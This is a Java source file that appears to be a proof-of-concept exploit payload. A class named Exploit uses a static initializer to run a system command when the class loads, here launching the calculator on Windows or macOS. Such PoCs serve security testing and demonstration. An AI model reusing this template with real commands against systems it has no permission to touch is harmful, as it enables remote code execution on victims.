public class Exploit {
    public Exploit() {}
    static {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"open","/System/Applications/Calculator.app"};
            java.lang.Runtime.getRuntime().exec(cmds).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}